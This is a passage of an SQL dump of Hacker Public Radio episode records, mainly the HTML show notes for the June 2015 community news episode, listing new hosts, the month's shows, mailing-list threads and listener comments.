href=\"https://hackerpublicradio.org/eps.php?id=1775#1\" target=\"_blank\">Comment 1</a>:\nkdmurray on 2015-05-25:\n\"SonicPi Releases\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1776#comments\" target=\"_blank\">hpr1776</a></strong>\n(2015-05-25) \"<em>Vim Hints 004</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1776#1\" target=\"_blank\">Comment 1</a>:\nthelovebug on 2015-05-25:\n\"1776\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1776#2\" target=\"_blank\">Comment 2</a>:\nDave Morriss on 2015-05-28:\n\"Re: 1776\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1777#comments\" target=\"_blank\">hpr1777</a></strong>\n(2015-05-26) \"<em>Magnatune Favourites</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1777#1\" target=\"_blank\">Comment 1</a>:\ninscius on 2015-05-28:\"[no title]\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1780#comments\" target=\"_blank\">hpr1780</a></strong>\n(2015-05-29) \"<em>16 - TrueCrypt and GnuPG - An Update</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1780#1\" target=\"_blank\">Comment 1</a>:\nDave Morriss on 2015-05-29:\n\"Thanks for this update\"</li></ul>\n</li>\n</ul>\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(1806,'2015-07-06','HPR Community News for June 2015',6069,'HPR Community News for June 2015','\n<h2>New hosts</h2>\n<p>\nWelcome to our new hosts: <br />\n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=305\" target=\"_blank\">kurakura</a>, \n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=306\" target=\"_blank\">GNULinuxRTM</a>, \n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=307\" target=\"_blank\">cheeto4493</a>.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\">\n    <tr>\n    <th align=\"left\">Id</th>\n    <th align=\"left\">Day</th>\n    <th align=\"left\">Date</th>\n    <th align=\"left\">Title</th>\n    <th align=\"left\">Host</th>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1781\" target=\"_blank\">1781</a></strong></td>\n    <td align=\"left\">Mon</td>\n    <td align=\"left\">2015-06-01</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1781\" target=\"_blank\">HPR Community News for May 2015</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1782\" target=\"_blank\">1782</a></strong></td>\n    <td align=\"left\">Tue</td>\n    <td align=\"left\">2015-06-02</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1782\" target=\"_blank\">ChorusText - a Non-visual Text Editor Open Assistive Device Project</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=305\" target=\"_blank\">kurakura</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1783\" target=\"_blank\">1783</a></strong></td>\n    <td align=\"left\">Wed</td>\n    <td align=\"left\">2015-06-03</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1783\" target=\"_blank\">Windows To Linux - Better Late Than Never.</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=306\" target=\"_blank\">GNULinuxRTM</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1784\" target=\"_blank\">1784</a></strong></td>\n    <td align=\"left\">Thu</td>\n    <td align=\"left\">2015-06-04</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1784\" target=\"_blank\">Intro to the Fugue and the Open Well-Tempered Clavier</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1785\" target=\"_blank\">1785</a></strong></td>\n    <td align=\"left\">Fri</td>\n    <td align=\"left\">2015-06-05</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1785\" target=\"_blank\">54 - LibreOffice Impress - Creating a Presentation</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1786\" target=\"_blank\">1786</a></strong></td>\n    <td align=\"left\">Mon</td>\n    <td align=\"left\">2015-06-08</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1786\" target=\"_blank\">What is MapReduce?</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=229\" target=\"_blank\">Charles in NJ</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1787\" target=\"_blank\">1787</a></strong></td>\n    <td align=\"left\">Tue</td>\n    <td align=\"left\">2015-06-09</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1787\" target=\"_blank\">A Beginner with a Wok</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=195\" target=\"_blank\">Frank Bell</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1788\" target=\"_blank\">1788</a></strong></td>\n    <td align=\"left\">Wed</td>\n    <td align=\"left\">2015-06-10</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1788\" target=\"_blank\">Podcrawl Glasgow 2015</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=296\" target=\"_blank\">Kevie</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1789\" target=\"_blank\">1789</a></strong></td>\n    <td align=\"left\">Thu</td>\n    <td align=\"left\">2015-06-11</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1789\" target=\"_blank\">The Ubuntu Quickly Ebook Template and Ebooks in General</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1790\" target=\"_blank\">1790</a></strong></td>\n    <td align=\"left\">Fri</td>\n    <td align=\"left\">2015-06-12</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1790\" target=\"_blank\">Penguicon 2015 Report</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1791\" target=\"_blank\">1791</a></strong></td>\n    <td align=\"left\">Mon</td>\n    <td align=\"left\">2015-06-15</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1791\" target=\"_blank\">Organizing Photos with Bash</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=263\" target=\"_blank\">Tony Pelaez</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1792\" target=\"_blank\">1792</a></strong></td>\n    <td align=\"left\">Tue</td>\n    <td align=\"left\">2015-06-16</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1792\" target=\"_blank\">An Interview with Andrea Frost</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=209\" target=\"_blank\">David Whitman</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1793\" target=\"_blank\">1793</a></strong></td>\n    <td align=\"left\">Wed</td>\n    <td align=\"left\">2015-06-17</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1793\" target=\"_blank\">Some thoughts about the Go language</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=302\" target=\"_blank\">Stilvoid</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1794\" target=\"_blank\">1794</a></strong></td>\n    <td align=\"left\">Thu</td>\n    <td align=\"left\">2015-06-18</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1794\" target=\"_blank\">12-Tone Music and My Random 12 Tone Row of the Day</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1795\" target=\"_blank\">1795</a></strong></td>\n    <td align=\"left\">Fri</td>\n    <td align=\"left\">2015-06-19</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1795\" target=\"_blank\">54 - LibreOffice Impress - Templates and Master Pages</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1796\" target=\"_blank\">1796</a></strong></td>\n    <td align=\"left\">Mon</td>\n    <td align=\"left\">2015-06-22</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1796\" target=\"_blank\">Audacity - Chains, Notches and Labels</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=307\" target=\"_blank\">cheeto4493</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1797\" target=\"_blank\">1797</a></strong></td>\n    <td align=\"left\">Tue</td>\n    <td align=\"left\">2015-06-23</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1797\" target=\"_blank\">An Interview with Aaron Wolf of the Snowdrift Co-op Project</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=209\" target=\"_blank\">David Whitman</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1798\" target=\"_blank\">1798</a></strong></td>\n    <td align=\"left\">Wed</td>\n    <td align=\"left\">2015-06-24</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1798\" target=\"_blank\">Machine learning and service robots.</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=271\" target=\"_blank\">mirwi</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1799\" target=\"_blank\">1799</a></strong></td>\n    <td align=\"left\">Thu</td>\n    <td align=\"left\">2015-06-25</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1799\" target=\"_blank\">Posting From the Command Line on Open Social Networks</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1800\" target=\"_blank\">1800</a></strong></td>\n    <td align=\"left\">Fri</td>\n    <td align=\"left\">2015-06-26</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1800\" target=\"_blank\">YouTube Video Subscriptions</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1801\" target=\"_blank\">1801</a></strong></td>\n    <td align=\"left\">Mon</td>\n    <td align=\"left\">2015-06-29</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1801\" target=\"_blank\">How to tell your left earbud from your right</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1802\" target=\"_blank\">1802</a></strong></td>\n    <td align=\"left\">Tue</td>\n    <td align=\"left\">2015-06-30</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1802\" target=\"_blank\">An Interview with Emily Hampton a LinuxFest Northwest Volunteer</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=209\" target=\"_blank\">David Whitman</a></td>\n    </tr>\n</table>\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This discussion takes\nplace on the <a href=\"https://hackerpublicradio.org/maillist\" target=\"_blank\">Mail List</a> which is open to all\nHPR listeners and contributors. The discussions are open and available on the\n<a href=\"https://news.gmane.org/gmane.network.syndication.podcast.hacker-public-radio\" target=\"_blank\">Gmane</a>\narchive.\n</p>\n<p>The main threads this month were:</p>\n<ol>\n    <li><em>From:</em> Mike Ray &lt;mike@...&gt;<br/>\n        <em>Date:</em> 2015-06-02 11:01:26 +0100<br/>\n        <em>Subject:</em> Comment form and edit field accessibility<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/863\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/863</a><br/>\n        <em>Messages:</em> 6<br/><br/></li>\n    <li><em>From:</em> Ken Fallon &lt;ken@...&gt;<br/>\n        <em>Date:</em> 2015-06-03 08:50:04 +0200<br/>\n        <em>Subject:</em> Git repository<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/869\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/869</a><br/>\n        <em>Messages:</em> 21<br/><br/></li>\n    <li><em>From:</em> Ken Fallon &lt;ken@...&gt;<br/>\n        <em>Date:</em> 2015-06-03 08:52:14 +0200<br/>\n        <em>Subject:</em> PHP Developers<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/870\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/870</a><br/>\n        <em>Messages:</em> 1<br/><br/></li>\n    <li><em>From:</em> Ken Fallon &lt;ken@...&gt;<br/>\n        <em>Date:</em> 2015-06-11 08:23:31 +0200<br/>\n        <em>Subject:</em> Fwd: Ohio LinuxFest 2015 Call for Presentations<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/891\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/891</a><br/>\n        <em>Messages:</em> 1<br/><br/></li>\n    <li><em>From:</em> Ken Fallon &lt;ken@...&gt;<br/>\n        <em>Date:</em> 2015-06-22 11:13:58 +0200<br/>\n        <em>Subject:</em> New linux podcast #SYSTEMAU<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/892\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/892</a><br/>\n        <em>Messages:</em> 3<br/><br/></li>\n    <li><em>From:</em> Ken Fallon &lt;ken@...&gt;<br/>\n        <em>Date:</em> 2015-06-24 12:41:04 +0200<br/>\n        <em>Subject:</em> Help with shownotes, tags and summaries<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/895\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/895</a><br/>\n        <em>Messages:</em> 2<br/><br/></li>\n    <li><em>From:</em> Dave Morriss &lt;perloid@...&gt;<br/>\n        <em>Date:</em> 2015-06-29 15:51:27 +0100<br/>\n        <em>Subject:</em> HPR Community News - next Saturday on 2015-07-04T18:00:00Z<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/897\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/897</a><br/>\n        <em>Messages:</em> 1<br/></li>\n</ol>\nTotal messages this month: 35<br/>\n\n\n<h2>Comments this month</h2>\n\n<p>There are 48 comments:</p>\n<ul> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1728#comments\" target=\"_blank\">hpr1728</a></strong>\n(2015-03-18) \"<em>Requested Topic: Favourite Browser Extensions</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=299\" target=\"_blank\">Fin</a>.\n<ul>   <li><a href=\"https://hackerpublicradio.org/eps.php?id=1728#2\" target=\"_blank\">Comment 2</a>:\nBob Evans on 2015-06-01:\n\"Ad-Block Edge discontinued\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1766#comments\" target=\"_blank\">hpr1766</a></strong>\n(2015-05-11) \"<em>Sox of Silence</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a>.\n<ul>   <li><a href=\"https://hackerpublicradio.org/eps.php?id=1766#2\" target=\"_blank\">Comment 2</a>:\nUrugami on 2015-06-12:\n\"Can it do this....\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1771#comments\" target=\"_blank\">hpr1771</a></strong>\n(2015-05-18) \"<em>Audacity: Label Tracks</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a>.\n<ul>    <li><a href=\"https://hackerpublicradio.org/eps.php?id=1771#3\" target=\"_blank\">Comment 3</a>:\nUrugami on 2015-06-12:\"[no title]\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1774#comments\" target=\"_blank\">hpr1774</a></strong>\n(2015-05-21) \"<em>Router Hacking</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a>.\n<ul>    <li><a href=\"https://hackerpublicradio.org/eps.php?id=1774#3\" target=\"_blank\">Comment 3</a>:\nFiftyOneFifty on 2015-06-01:\n\"Single board options\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1774#4\" target=\"_blank\">Comment 4</a>:\nUrugami on 2015-06-12:\"[no title]\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1780#comments\" target=\"_blank\">hpr1780</a></strong>\n(2015-05-29) \"<em>16 - TrueCrypt and GnuPG - An Update</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a>.\n<ul>   <li><a href=\"https://hackerpublicradio.org/eps.php?id=1780#2\" target=\"_blank\">Comment 2</a>:\nAlison Chaiken on 2015-06-10:\n\"TrueCrypt vs. GPG\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1780#3\" target=\"_blank\">Comment 3</a>:\nKevin O&#39;Brien on 2015-06-17:\n\"Audited\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1782#comments\" target=\"_blank\">hpr1782</a></strong>\n(2015-06-02) \"<em>ChorusText - a Non-visual Text Editor Open Assistive Device Project</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=305\" target=\"_blank\">kurakura</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1782#1\" target=\"_blank\">Comment 1</a>:\nMike Ray on 2015-06-02:\n\"Chorustext!\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1782#2\" target=\"_blank\">Comment 2</a>:\nJon Kulp  on 2015-06-02:\n\"Awesome in Many Ways\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1782#3\" target=\"_blank\">Comment 3</a>:\nMike Ray on 2015-06-08:\n\"Smashing the monopoly of commercial gadgetry\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1783#comments\" target=\"_blank\">hpr1783</a></strong>\n(2015-06-03) \"<em>Windows To Linux - Better Late Than Never.</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=306\" target=\"_blank\">GNULinuxRTM</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1783#1\" target=\"_blank\">Comment 1</a>:\nJon Kulp  on 2015-06-02:\n\"Updates Pain! \"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1783#2\" target=\"_blank\">Comment 2</a>:\n0xf10e on 2015-06-06:\n\"Entertaining episode!\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1783#3\" target=\"_blank\">Comment 3</a>:\nStilvoid on 2015-06-07:\n\"Seconded\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1784#comments\" target=\"_blank\">hpr1784</a></strong>\n(2015-06-04) \"<em>Intro to the Fugue and the Open Well-Tempered Clavier</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1784#1\" target=\"_blank\">Comment 1</a>:\nKevin O&#39;Brien on 2015-06-04:\n\"Great show!\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1784#2\" target=\"_blank\">Comment 2</a>:\nJon Kulp on 2015-06-04:\n\"Open Scores\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1784#3\" target=\"_blank\">Comment 3</a>:\nRobert Douglass on 2015-06-04:\n\"Lady Gaga - fan of Bach and the Well-Tempered Clavier\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1784#4\" target=\"_blank\">Comment 4</a>:\nJon Kulp on 2015-06-04:\n\"Gaga Bach\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1784#5\" target=\"_blank\">Comment 5</a>:\nKen Fallon on 2015-06-06:\n\"Now I&#39;m &quot;seeing&quot; this everythere \"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1784#6\" target=\"_blank\">Comment 6</a>:\nJon Kulp on 2015-06-06:\n\"Feature, not a bug\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1784#7\" target=\"_blank\">Comment 7</a>:\nFrank on 2015-06-07:\"[no title]\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1784#8\" target=\"_blank\">Comment 8</a>:\nDaniel Worth on 2015-06-08:\n\"Fantastic\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1784#9\" target=\"_blank\">Comment 9</a>:\nAlison Chaiken on 2015-06-28:\n\"Heard &quot;Fugue for Friday&quot;?\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1784#10\" target=\"_blank\">Comment 10</a>:\nJon Kulp on 2015-06-28:\n\"Dragnet Fugue\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1787#comments\" target=\"_blank\">hpr1787</a></strong>\n(2015-06-09) \"<em>A Beginner with a Wok</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=195\" target=\"_blank\">Frank Bell</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1787#1\" target=\"_blank\">Comment 1</a>:\nJon Kulp on 2015-06-09:\n\"What about broccoli?\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1787#2\" target=\"_blank\">Comment 2</a>:\nMike Ray on 2015-06-10:\n\"And baby corns\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1787#3\" target=\"_blank\">Comment 3</a>:\nFrank on 2015-06-10:\"[no title]\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1787#4\" target=\"_blank\">Comment 4</a>:\nJon Kulp on 2015-06-10:\n\"Hollandaise??\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1787#5\" target=\"_blank\">Comment 5</a>:\nDave Morriss on 2015-06-10:\n\"Thinks to stir-fry\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1787#6\" target=\"_blank\">Comment 6</a>:\nDave Morriss on 2015-06-10:\n\"Things not thinks\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1787#7\" target=\"_blank\">Comment 7</a>:\nMike Ray on 2015-06-10:\n\"Round-bttomed woks\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1787#8\" target=\"_blank\">Comment 8</a>:\nDave Morriss on 2015-06-10:\n\"Wok rings\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1787#9\" target=\"_blank\">Comment 9</a>:\nFrank on 2015-06-11:\"[no title]\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1787#10\" target=\"_blank\">Comment 10</a>:\njezra on 2015-06-11:\n\"chicken and woks\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1787#11\" target=\"_blank\">Comment 11</a>:\nFrank on 2015-06-12:\"[no title]\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1787#12\" target=\"_blank\">Comment 12</a>:\nFiftyOneFifty on 2015-06-13:\"[no title]\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1787#13\" target=\"_blank\">Comment 13</a>:\nFrank on 2015-06-16:\n\"Thanks for the suggestion\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1788#comments\" target=\"_blank\">hpr1788</a></strong>\n(2015-06-10) \"<em>Podcrawl Glasgow 2015</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=296\" target=\"_blank\">Kevie</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1788#1\" target=\"_blank\">Comment 1</a>:\nKen Fallon on 2015-06-11:\n\"So near and yet so expensive\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1791#comments\" target=\"_blank\">hpr1791</a></strong>\n(2015-06-15) \"<em>Organizing Photos with Bash</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=263\" target=\"_blank\">Tony Pelaez</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1791#1\" target=\"_blank\">Comment 1</a>:\nDave Morriss on 2015-06-23:\n\"Yay for Bash scripts!\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1791#2\" target=\"_blank\">Comment 2</a>:\nTony Pelaez on 2015-06-28:\n\"Google CL is broken\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1793#comments\" target=\"_blank\">hpr1793</a></strong>\n(2015-06-17) \"<em>Some thoughts about the Go language</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=302\" target=\"_blank\">Stilvoid</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1793#1\" target=\"_blank\">Comment 1</a>:\nFrank on 2015-06-18:\"[no title]\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1793#2\" target=\"_blank\">Comment 2</a>:\nDave Morriss on 2015-06-19:\n\"Thanks for the show \"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1793#3\" target=\"_blank\">Comment 3</a>:\nStilvoid on 2015-06-22:\"[no title]\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1794#comments\" target=\"_blank\">hpr1794</a></strong>\n(2015-06-18) \"<em>12-Tone Music and My Random 12 Tone Row of the Day</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1794#1\" target=\"_blank\">Comment 1</a>:\nDave Morriss on 2015-06-19:\n\"Interesting lesson\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1794#2\" target=\"_blank\">Comment 2</a>:\nJon Kulp  on 2015-06-19:\n\"Still Ugly \"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1794#3\" target=\"_blank\">Comment 